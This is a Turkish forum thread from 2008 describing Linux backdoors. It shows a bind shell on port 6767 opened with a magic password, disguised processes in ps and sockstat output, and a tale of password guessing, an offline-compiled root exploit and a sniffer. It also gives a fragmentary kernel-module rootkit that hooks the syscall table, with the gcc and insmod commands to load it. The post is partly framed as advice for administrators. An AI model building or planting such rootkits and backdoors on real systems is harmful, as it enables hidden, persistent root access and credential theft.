avatar
Tarih: 09:57, 20-11-08 09:57 Sitemize Hoşgeldiniz. (Oturum AçKayıt Ol)

Bu Konuyu Görüntüleyenler
Bu Konuyu görüntüleyenler: 1 Ziyaretçi

Konuyu Gönder  Mesaj Önizleme 
 
Konuyu Değerlendir
  • 0 Oy - 0 Ortalama
  • 1
  • 2
  • 3
  • 4
  • 5
Linux Güvenlik Açıkları part 2
13:24, 22-02-08 13:24
Mesaj: #1
Linux Güvenlik Açıkları part 2
[root@eregli eregli]# nmap -p 1-10000 arkakapili.sistem

Starting nmap V. 2.54BETA30 ( Sadece Üyeler Linkleri Görebilir. Üye Olmak İçin TIKLAYIN )
Interesting ports on arkakapili.sistem (xxx.xxx.xxx.xxx):
Port State Service
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
53/tcp open domain
80/tcp open http
110/tcp open pop-3
443/tcp open https
3306/tcp open mysql
6767/tcp open unknown <--- ilginc bir port


[eregli@eregli eregli]$ telnet arkakapili.sistem 6767
Trying xxx.xxx.xxx.xxx...
Connected to arkakapili.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.
eregli <--- Yanlış şifre girildiğinden
Connection closed by foreign host. --- uygulama baglantıyı kopardı.

[eregli@eregli eregli]$ telnet arkakapili.sistem 6767
Trying xxx.xxx.xxx.xxx...
Connected to arkakapili.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.
ACIL_KAPI

klogd: no job control in this shell
[root@arkakapili /]# id
uid=0(root) gid=0(root) groups=0(root) <-- Sistem yöneticisi şimdi ağlasın mı,
-- gülsün mü?

Sistem yöneticisi çalışan uygulamalara baktığında, çalışan uygulamaların olağan
uygulamalar olduğu kanısına varabilir:

[root@arkakapili root]# ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.2 0.3 1412 504 ? S 01:37 0:04 init
root 2 0.0 0.0 0 0 ? SW 01:37 0:00 [keventd]
root 3 0.0 0.0 0 0 ? SW 01:37 0:00 [kapmd]
root 4 0.0 0.0 0 0 ? SWN 01:37 0:00 [ksoftirqd_CPU0]
root 5 0.0 0.0 0 0 ? SW 01:37 0:00 [kswapd]
named 1018 0.0 1.8 10192 2324 ? S 01:38 0:00 named -u named
named 1025 0.0 1.8 10192 2324 ? S 01:38 0:00 named -u named
named 1026 0.0 1.8 10192 2324 ? S 01:38 0:00 named -u named
named 1027 0.0 1.8 10192 2324 ? S 01:38 0:00 named -u named
named 1028 0.0 1.8 10192 2324 ? S 01:38 0:00 named -u named
root 1049 0.0 0.9 2664 1224 ? S 01:38 0:00 /usr/sbin/sshd
...
...
avicenna 2777 0.0 1.2 2724 1532 pts/6 S 01:52 0:00 -bash
root 2808 0.0 1.2 2784 1588 ? S 01:52 0:00 klogd -i <--- Dikkat !!!!
root 2832 0.0 0.0 1368 104 ? S 01:52 0:00 httpd ole <--- Dikkat !!!!
root 2932 0.0 0.7 2904 960 pts/1 R 02:08 0:00 ps -aux

SockStat aracı ile sistemde uygulamaların kullandığı portları ve durumlarını inceleyebilirsiniz.

[root@arkakapili root]#./sockstat
SocketStat v1.0 - A Socket Information Program

Pro User Process Local Address State
UDP root portmap[776] x.x.x.x:111 CLOSED
TCP root portmap[776] x.x.x.x:111 LISTEN
UDP root rpc.sta[842] x.x.x.x:1018 CLOSED
UDP root rpc.sta[842] x.x.x.x:1024 CLOSED
TCP root rpc.sta[842] x.x.x.x:1024 LISTEN
UDP named named[1018] x.x.x.x:1025 CLOSED
UDP named named[1018] x.x.x.x:53 CLOSED
TCP named named[1018] x.x.x.x:53 LISTEN
...
TCP root httpd[1561] x.x.x.x:80 LISTEN
TCP root mysqld[1667] x.x.x.x:3306 LISTEN
TCP root mysqld[1773] x.x.x.x:3306 LISTEN
TCP root mysqld[1775] x.x.x.x:3306 LISTEN
TCP root mysqld[1780] x.x.x.x:3306 LISTEN
TCP root kapici[2284] x.x.x.x:6767 LISTEN
------ ----
| |
| |- ---Kullandigi Port
|
|---Calisan uygulama



[root@arkapili root]#./sockstat
SocketStat v1.0 - A Socket Information Program
Pro User Process Local Address State
...
TCP root sh[2284] x.x.x.x:6767 ESTBLSH
TCP root sh[2284] x.x.x.x:6767 ESTBLSH
TCP root sh[2284] x.x.x.x:6767 ESTBLSH
TCP root sh[2284] x.x.x.x:6767 LISTEN
TCP root |-- sh[2284] x.x.x.x:6767 ESTBLSH
TCP root |-- sh[2284] x.x.x.x:6767 ESTBLSH
TCP root |-- kapici[2310] x.x.x.x:6767 LISTEN ---------- |
|
|- /bin/sh(kabuk) calismis durumda. 6767 numarali portta biri var.



Saldırgan, sisteme bağlanmak için kullandığı kullanıcının, şifresini değiştirmeyeceğini
düşünerek sisteme müfredata uygun şekilde bağlanıp Kernel istismarlarını kullanarak yönetici
olmak isteyebilir. Sistem yöneticisinin dikkat edeceği hususlardan biride çekirdek modüllerini
şüpheli bir durumda(hep şüpheli durumda mi kontrol etmeli?) kontrol etmesi olacaktır.
Yani halk arasında Kernel Backdoor denilen olaylara dikkat etmek gerekir.
"Benim kullanıcılarım uslu durur. Sistemi kurcalayamazlar. Zaten sistemden derleyicileri
(gcc,cc) kaldırdım. Yetki kısıtlaması da koydum." şeklinde bir düşünceye sahip sistem
yöneticisi varsa buna diyecek sözüm yok
Gözü dönmüs biri için yetki kısıtlaması olmuş, sistemde derleyici yokmuş gibi durumları
düşünmez. Davetsiz misafir dönen gözünü yuvasına oturtturmak için her türlü yola başvuracaktır.
Örneğin; sisteminizin yapısını inceleyerek(işletim sistemi, çekirdek versiyonu vb.) o işletim
sistemine sahip başka bir bilgisayarda root yetkisini verecek exploiti derleyip sizin
sisteminize aktararak çeşitli olasılıkları deniyecektir.

Konuyu dağıtmadan bir olayı irdeleyelim[Milleti illaki paranoya moduna getirecez ya ]
Yurt dışında azımsanamayacak derecede muşteriye sahip bir servis sağlayıcısı güzel bir
hayat sürmekteymiş. O servis sağlayıcının Web sitesini gezen sakin, gözü yuvasından fırlamamış
kişi sistemin üyeler(members) bölümüne farenin klik sesini duyacak şekilde tıkladığında
karşısına orada barınan Web sitelerinin kullanıcı adlarını görür.
Aklına "Acaba üye adları ile kullandığı şifreler arasında ne gibi bir ilişki var" felsefesinden
yola çıkma düşüncesi gelir. Yaptığı denemeler sonucu bazı üyelerin şifrelerini bulur(Artik
sakin kişi gitmiş, gözü yuvasından fırlayan biri gelmiştir).
Sistemde ftp-ssh servisleri açıktır. Ssh ile sisteme bağlandığında istediği emellerine
ulaşmasını sağlayacak olan .c kodunu derleyemez. Çünkü sistemde derleyiciler kaldırılmıştır.
Ortalıkta fazla dolaşmadan aynı özelliklere sahip(işletim sistemi vb..) başka sistemde .c
kodunu derler. Derlediği kodu, gözünü döndüren servis saglayıcının sistemine aktarır.
Sonucunda root yetkisini almıştır. Sisteme yerleştirdiği Sniffer sayesinde(tüm kodlari
aynı özelliklere sahip başka sistemde derleyip,aktarmış) gerçek sistem yöneticisinin
bağlandığı ip adresleri, şifreleri (rootun kullandığı şifreler routerlere baglantı şifreleri
ile ayni imiş) ele geçirir. Neticesinde sistem yoneticisi bu bizim gözü dönen kişiyi
fark etmiş(Aylar sonra).
Sonuçta servis sağlayıcısı işletim sistemini değiştirmiş. Fakat kullanıcı şifreleri
aynı kalmış
Bunu bana gozu donen biri fisildadi

Saldırgan, sisteme sonradan bağlanıp yetkileri eline almak için port açmak istemeye de
bilir.
Bunun çeşitli sebeplerinden biri açık olan portların kolayca tespit edilebilmesi.
Sistemin kullandığı portlardan(ssh-telnet) sisteme bağlanıp(mukavele gereği) normal
kullanıcıdan bir anda root durumuna geçip sistemi sizin yerinize daha iyi koruma
ihtimalide vardır
Bunu yapabilmek için kullanacagı diğer bir açık kapıda Kernel Backdoor diye tasvir edilen
uygulamaları kullanmasıdır.

[root@arkakapi /root]# lsmod
Module Size Used by Tainted: P
kbdv 940 0 (unused) <-- Bu modül hoşa gitmiyen tipe benziyor.
nfsd 69536 8 (autoclean)
lockd 49344 1 (autoclean) [nfsd]
sunrpc 62964 1 (autoclean) [nfsd lockd]
...
ext3 62092 1
...

Beklenmeyen misafir sistemde yönetici durumuna geçmiş, sistemi yeteri kadar incelemiş.
Böyle bir sistemi bir daha nerede bulurum düşüncesiyle sistemde yetkileri tekrar eline
almak icin gerçek yöneticinin düşünemeyeceği yollara başvurma ihtimalide vardır(`Sistemde
açık portlar kapatılabilir, suid tipi dosyalarin bu özellikleri kaldırılabilir` düşüncesine
sahip bir saldırgan türüyle karşı karşıya kalınabilir).

Örneğin:

#define MODULE
#define __KERNEL__

#include <syscall.h>
#include <asm/uaccess.h>
#include <linux/module.h>
#include <linux/modversions.h>
...

#define FILE_NAME "op_beni" <--- Sihirli kelimeler

extern void *sys_call_table[];

/* system calls we will replace */
int (*orig_utime)(const char *filename, struct utimbuf *buf);
int (*orig_getuid32)();
int u;
....
sys_call_table[SYS_utime] = orig_utime;
sys_call_table[SYS_getuid32] = orig_getuid32;
**

Yukarıda kaynağa benzer bir .c kodunu sisteme aktaran kişi root yetkisiyle dosyayı
derlediğini düsünelim.

[root@arkakapili tmp]# gcc -c -O2 kbdv3.c -I/lib/modules/`uname -r`/build/include
[root@arkakapili tmp]# ls -1
kbdv.c
kbdv.o <-- Sisteme tekrar baglanıldığında root ateşi sardıracak.

[root@arkakapili tmp]# insmod kbdv3.o
Warning: loading kbdv3.o will taint the kernel: no license

[root@saldirgan tmp]# lsmod
Module Size Used by Tainted: P
kbdv 908 0 (unused) <-- Bekliyor ustadini

...

Saldirgan artik sistemi gönul rahatlığıyla terk ediyor. Canı sıkıldıgında,
bu root neden bunlari anlamadi dusuncesine kapıldığında yada kız arkadaşına
kızdığında dagıtmak isteyecegi tek yer Kernel Backdoor olayına girdiği sistem olacaktir.
Sisteme bağlandığında normal user olarak girer fakat sihirli kelimeleri söylediğinde
artık root olmuştur. Geri dönülmez yola girmiştir.

Gayret Et Güzelim...
Bu kullanıcının gönderdiği tüm mesajları bul
Bu mesajı bir cevapta alıntı yap
18:00, 23-02-08 18:00
Mesaj: #2
Cvp: Linux Güvenlik Açıkları part 2
Paylaşım İçin Teşekkürler

[Resim: uyari.gif]Uyarı: İndirmeye başlamadan önce lütfen linklerin hepsini kontrol ediniz.
[Resim: istek.gif]İstek Yapmadan Önce Forumda Sadece Üyeler Linkleri Görebilir. Üye Olmak İçin TIKLAYIN Yapınız!
[Resim: saygi.gif]Verilen emeğe lütfen saygı gösteriniz. En azından bir teşekkür edebilirsiniz.


Her Türlü Sorununuzda Bana Ulaşın.
Zamanın Durduğu Kaliteli İnsanların Paylaşım Mekanı

Sadece Üyeler Linkleri Görebilir. Üye Olmak İçin TIKLAYIN

Hedefimiz En Büyük ve En İyi Olmaktır
Kullanıcının websitesini ziyaret et Bu kullanıcının gönderdiği tüm mesajları bul
Bu mesajı bir cevapta alıntı yap
Konuyu Gönder  Mesaj Önizleme 


Foruma Git: